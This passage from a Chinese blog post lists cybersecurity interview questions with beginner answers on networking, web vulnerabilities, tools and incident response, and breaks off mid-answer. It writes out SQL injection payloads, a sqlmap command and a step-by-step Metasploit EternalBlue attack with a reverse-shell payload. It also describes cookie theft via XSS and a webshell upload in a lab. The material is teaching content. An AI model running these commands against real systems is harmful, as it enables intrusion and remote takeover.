网络安全面试必过！0 基础也能答的面试高频题

最新推荐文章于 2025-10-10 16:03:23 发布

小杰的网工专栏

最新推荐文章于 2025-10-10 16:03:23 发布

阅读量933

点赞数 28

CC 4.0 BY-SA版权

文章标签： web安全面试安全 http tcp/ip udp 职场和发展

本文链接：https://blog.csdn.net/bigbangbangbang1/article/details/152906236

网络安全面试必过！0 基础也能答的面试高频题

在这里插入图片描述

不管是面安全运维、初级渗透测试，还是应届生岗位，面试官翻来覆去就问这些题！我整理了近 3 个月 20 家企业的面试真题，按「入门必问→进阶重点→项目踩坑」分类，每道题都标了考察点和 “小白能说清” 的答案，帮你避开 “答不出”“答跑偏” 的坑。

一、基础理论类（必问！占比 30%）

这类题不考复杂技术，但能筛掉 “连门都没入” 的人，答案不用太深入，说清核心逻辑就行。

1. 什么是 TCP/IP 协议？它分几层？

面试官考察点：判断你是否懂网络基础（连网络都不懂，没法做安全）

小白答案：TCP/IP 是互联网的 “交通规则”，负责数据在电脑间传输。通常分 4 层：

应用层（比如 HTTP、FTP，像快递的 “收件人信息”）；
传输层（TCP/UDP，负责把数据拆包 / 拼包，像快递分拣）；
网络层（IP 协议，确定数据传哪去，像快递的 “运输路线”）；
网络接口层（比如网卡，负责物理传输，像快递车）。

避坑：别记 7 层 OSI 模型！面试问 TCP/IP，说 4 层就行，小白记混反而扣分。

2. OWASP Top 10 是什么？2021 版里最常见的漏洞是啥？

面试官考察点：判断你是否了解行业通用标准（这是安全人的 “基础知识手册”）

小白答案：OWASP 是个安全组织，Top 10 就是它总结的 “最常见的 10 种 Web 漏洞”，2021 版里排第一的是 “注入漏洞”（比如 SQL 注入），还有跨站脚本（XSS）、失效的身份认证这些。

我记的时候会抓重点：比如注入漏洞就是黑客把恶意代码 “掺” 进正常请求里，让服务器执行；像输入框里输’ or 1=1–，可能就会绕过登录，这就是简单的 SQL 注入。

避坑：别说 “我记不全 10 个”，重点说清前 3 个（注入、XSS、失效认证），加个小例子，比记全更加分。

3. 什么是防火墙？它能防住所有攻击吗？

面试官考察点：判断你是否懂基础防护工具（安全运维岗必问）

小白答案：防火墙像网络的 “守门人”，按规则控制哪些数据能进、哪些能出。比如公司防火墙会禁止外部 IP 访问内部服务器的 22 端口（SSH），防止被远程登录。

但它防不住所有攻击：比如黑客用正常端口（像 80、443，浏览器用的端口）传恶意数据，防火墙可能识别不出来；还有内部员工误点钓鱼链接，防火墙也管不了。

加分项：提一句 “现在有下一代防火墙（NGFW），能识别应用层攻击，比传统的好一些”，显露出你了解新技术。

4. HTTP 和 HTTPS 的区别是什么？HTTPS 怎么保证安全？

面试官考察点：判断你是否懂 Web 通信安全（渗透测试、安全运维都问）

小白答案：最直观的是网址开头，HTTP 没锁，HTTPS 有小绿锁。核心区别是 HTTPS 多了 “SSL/TLS 加密”：

HTTP 传数据是 “明文”，比如你输的密码会直接发，黑客能截到；
HTTPS 会把数据加密成 “乱码”，只有服务器有钥匙能解开。

它保证安全靠 “证书”：比如百度的 HTTPS 证书是第三方机构发的，证明这个网站是真的，不是黑客仿的；同时传输过程中会用对称加密（快）+ 非对称加密（安全）结合的方式。

避坑：别只说 “HTTPS 更安全”，要讲清 “加密” 和 “证书” 这两个关键点。

二、工具实操类（核心！占比 40%）

面试官最烦 “只会背理论，不会用工具” 的人，这类题一定要结合 “具体操作” 说，哪怕是靶场经验也行。

1. 用 Nmap 做端口扫描，常用的命令有哪些？比如想扫 192.168.1.1 的常用端口。

面试官考察点：判断你是否会用基础扫描工具（渗透测试、运维必问）

小白答案：我常用的有 3 个命令，都是在 Kali Linux 里敲的：

快速扫常用端口：nmap -F 192.168.1.1（-F 是 “快速模式”，只扫 100 个常用端口，比如 80、443、22，适合初步探测）；
扫全端口（1-65535）：nmap -p- 192.168.1.1（加-v能看扫描过程，比如 “发现 80 端口开放”）；
看端口对应的服务：nmap -sV 192.168.1.1（比如能扫出 80 端口跑的是 Apache 2.4.49，知道服务版本才能找对应漏洞）。

我在 DVWA 靶场练过，扫出来 80 端口开放，就能接着用浏览器访问靶场了。

避坑：别只说命令，加个 “用在哪” 的场景，比如 “扫靶场端口”，证明你真用过。

2. Burp Suite 怎么抓包改包？比如想改一个登录请求的参数。

面试官考察点：判断你是否会用 Web 安全核心工具（渗透测试必问）

小白答案：首先得在浏览器里设代理（比如 Burp 默认是 127.0.0.1:8080），这样浏览器的请求会先过 Burp。

抓包改包分 3 步：

打开 Burp 的 “Proxy” 模块，点 “Intercept is on”（开启拦截）；
在浏览器里输登录账号密码，点登录 —— 这时候请求会被 Burp 拦住，在 “Raw” 标签里能看到请求数据，比如username=test&password=123；
把password=123改成password=456，点 “Forward”（放行），服务器就会收到改过的请求。

我练 SQL 注入时，就用这个方法改请求里的参数，比如把id=1改成id=1’ or 1=1–，看服务器会不会返回所有数据。

加分项：提一句 “改完包后可以用‘Repeater’模块反复发请求，测试不同参数的效果”，显露出你会深入用工具。

3. Metasploit 怎么用？比如想利用 Windows 的永恒之蓝漏洞。

面试官考察点：判断你是否会用漏洞利用工具（渗透测试进阶题）

小白答案：Metasploit 是个漏洞利用框架，里面有很多现成的 “攻击模块”。用永恒之蓝的话，我在 Kali 里会这么操作：

先启动 msfconsole（打开框架）；
搜永恒之蓝的模块：search eternalblue，会出来exploit/windows/smb/ms17_010_eternalblue；
加载模块：use exploit/windows/smb/ms17_010_eternalblue；
设目标 IP：set RHOSTS 192.168.1.10（靶机的 IP）；
设攻击载荷（就是成功后要执行的命令）：set PAYLOAD windows/x64/meterpreter/reverse_tcp（这个载荷能拿到靶机的远程控制权限）；
设自己的 IP（让靶机连回来）：set LHOST 192.168.1.20；
最后运行：exploit，如果成功，就能用shell命令控制靶机了。

我在 VulnHub 的 Win7 靶机上练过，成功拿到过桌面控制权限。

避坑：别只说步骤，加 “靶机环境”，说明你是在合法环境里练的，不是乱扫真实网站。

4. 怎么用 Wireshark 抓 HTTP 包？怎么过滤出指定 IP 的流量？

面试官考察点：判断你是否会分析网络流量（安全运维、应急响应必问）

小白答案：Wireshark 是抓包工具，能看所有经过网卡的数据包。

抓 HTTP 包步骤：

打开 Wireshark，选要抓包的网卡（比如 Wi-Fi 的网卡）；
直接点 “开始”，就能看到所有流量；
要过滤 HTTP 包，在上面的过滤框里输 “http”，就能只显示 HTTP 的请求和响应（比如能看到浏览器向百度发的 GET 请求）。

如果想过滤指定 IP 的流量，比如只看 192.168.1.10 的包，过滤框里输 “ip.addr == 192.168.1.10”；如果想看出向 192.168.1.10 的包，输 “ip.dst == 192.168.1.10”。

我之前排查 “网页加载慢” 的问题，就用 Wireshark 抓包，发现是某个 IP 的响应时间太长，后来把那个 IP 加入防火墙白名单就好了。

三、漏洞原理类（进阶！占比 20%）

这类题要讲清 “是什么 + 怎么来的 + 怎么防”，不用太深入底层，但逻辑要通。

1. 什么是 SQL 注入？怎么检测？怎么防御？

面试官考察点：判断你是否懂最常见的 Web 漏洞（所有安全岗必问）

小白答案：SQL 注入就是黑客把 SQL 语句 “掺” 进用户输入里，让服务器误执行。比如登录页面的用户名输入框，正常输 “test”，服务器会执行select * from user where username=‘test’；如果黑客输test’ or 1=1–，服务器就会执行select * from user where username=‘test’ or 1=1–'，“or 1=1” 永远为真，就能绕过登录。

检测方法：我常用两种 ——

手动测：在输入框里输’，如果服务器返回报错（比如 “SQL syntax error”），说明可能有注入点；
工具测：用 Burp 的 “Active Scan” 扫，或者用 SQLMap（命令比如sqlmap -u “http://test.com/login.php?username=test”），能自动检测是否有注入，还能提权。

防御方法：核心是 “过滤用户输入”，比如：

用参数化查询（ PreparedStatement ），让用户输入的内容只能当 “数据”，不能当 SQL 命令；
给数据库账号降权，比如查询用的账号不让删表、改数据；
用 WAF（Web 应用防火墙），自动拦截注入语句。

2. 什么是 XSS 攻击？分哪几种？怎么防？

面试官考察点：判断你是否懂前端安全漏洞（渗透测试、Web 安全岗必问）

小白答案：XSS 就是黑客把恶意 JS 代码 “插” 进网页里，让其他用户访问时执行。比如论坛评论区，黑客发一条带的评论，如果网站没过滤，其他用户看评论时就会弹出弹窗，严重的话会被偷 Cookie（登录信息）。

分 3 种：

存储型 XSS：恶意代码存在服务器里（比如评论、数据库），所有人看都触发（最危险，比如论坛评论）；
反射型 XSS：恶意代码在 URL 里（比如http://test.com/search.php?key=%3Cscript%3E…%3C/script%3E），只有点链接的人触发（比如钓鱼链接）；
DOM 型 XSS：恶意代码通过操作页面 DOM 触发（比如 JS 里用document.write(location.href)，没过滤 URL 参数），不经过服务器。

防御方法：

转义特殊字符：比如把<改成<，>改成>，让 JS 代码变成普通文字；
用 CSP（内容安全策略）：在 HTTP 头里设Content-Security-Policy: default-src ‘self’，限制只能加载自己域名的资源，不让加载恶意 JS；
给 Cookie 加HttpOnly属性，让 JS 拿不到 Cookie，就算有 XSS 也偷不了登录信息。

3. 什么是 CSRF 攻击？和 XSS 有啥区别？怎么防？

面试官考察点：判断你是否能区分相似漏洞（进阶岗必问）

小白答案：CSRF 是 “跨站请求伪造”，比如黑客骗你点一个链接，这个链接会自动向你已登录的网站发请求（比如转账、改密码），因为你登录过，网站认你的 Cookie，就会执行这个请求。

举个例子：你登录了某银行网站（Cookie 还在），然后点了黑客发的链接http://bank.com/transfer?to=黑客账号&money=1000，如果银行没防 CSRF，就会自动转钱。

和 XSS 的区别：XSS 是黑客往网页里插 “恶意代码”，让用户执行；CSRF 是黑客 “骗用户发请求”，利用用户的登录状态做事，不需要插代码。

防御方法：

加 CSRF Token：网站给每个表单加一个随机字符串（Token），提交时要带这个 Token，黑客不知道 Token，就发不了有效请求；
检查 Referer 头：判断请求是不是从自己网站发的（比如 Referer 是http://bank.com才允许，黑客的链接 Referer 是别的域名）；
重要操作要二次验证（比如转账输验证码）。

四、项目 / 经验类（定薪关键！占比 10%）

小白没真实项目也别怕，说靶场经验、练手案例就行，重点讲 “你做了什么 + 遇到什么问题 + 怎么解决的”。

1. 你有没有做过漏洞挖掘 / 渗透测试的项目？具体说下流程。

面试官考察点：判断你是否有实战能力（没经验会减分，但说清靶场经验能补救）

小白答案：我虽然没企业项目经验，但在 Hack The Box 和 DVWA 靶场做过完整的渗透测试，流程和实际项目差不多，比如 DVWA 靶场的测试：

信息收集：用 Nmap 扫出靶机 IP 是 192.168.1.10，80 端口开放，跑的是 Apache 服务；用 Burp 抓包看是 PHP 网站，DVWA 版本是 1.10；
漏洞扫描：用 Burp Active Scan 扫，发现登录页有 SQL 注入，评论区有 XSS；
漏洞利用：

SQL 注入：用 SQLMap 跑，拿到数据库里的用户表，有 admin 的密码哈希，用 John the Ripper 破解出密码是 “password”；
XSS：在评论区发，成功拿到其他用户的 Cookie；

提权：登录后台后，发现有文件上传功能，上传了一个带马的 PHP 文件（用蚁剑连接），拿到服务器的 www-data 权限；
报告输出：整理了 2 个漏洞的详细步骤、截图，还有修复建议（比如用参数化查询防注入，转义字符防 XSS）。

我还在漏洞盒子平台提交过一个小漏洞（某企业官网的反射型 XSS），虽然没拿奖金，但学会了怎么写规范的漏洞报告。

避坑：别瞎编企业项目！说靶场 + 公益漏洞平台经验，比编的真实，面试官更认。

2. 如果你发现服务器被入侵了，怎么应急响应？

面试官考察点：判断你是否有解决问题的思路（安全运维、应急响应岗必问）

小白答案：我会按 “止损→查原因→修复→总结” 四步来：

先止损：比如服务器有异常进程，先 kill 掉；如果是 Web 入侵，先把网站临时下线，或者用防火墙阻断异常 IP；如果数据被删，先断开服务器的网络，防止进一步破坏；
查原因：

看日志：/var/log/auth.log（Linux 登录日志），看有没有陌生 IP 登录；/var/log/apache2/access.log（Web 日志），看有没有异常请求（比如带注入语句的）；
找后门：用 find 命令找最近修改的文件（find / -mtime -1，找 1 天内改的文件），看有没有陌生的 PHP 马、Shell 脚本；
查进程：用 ps -aux 看有没有异常进程（比如名字奇怪、CPU 占用高的）；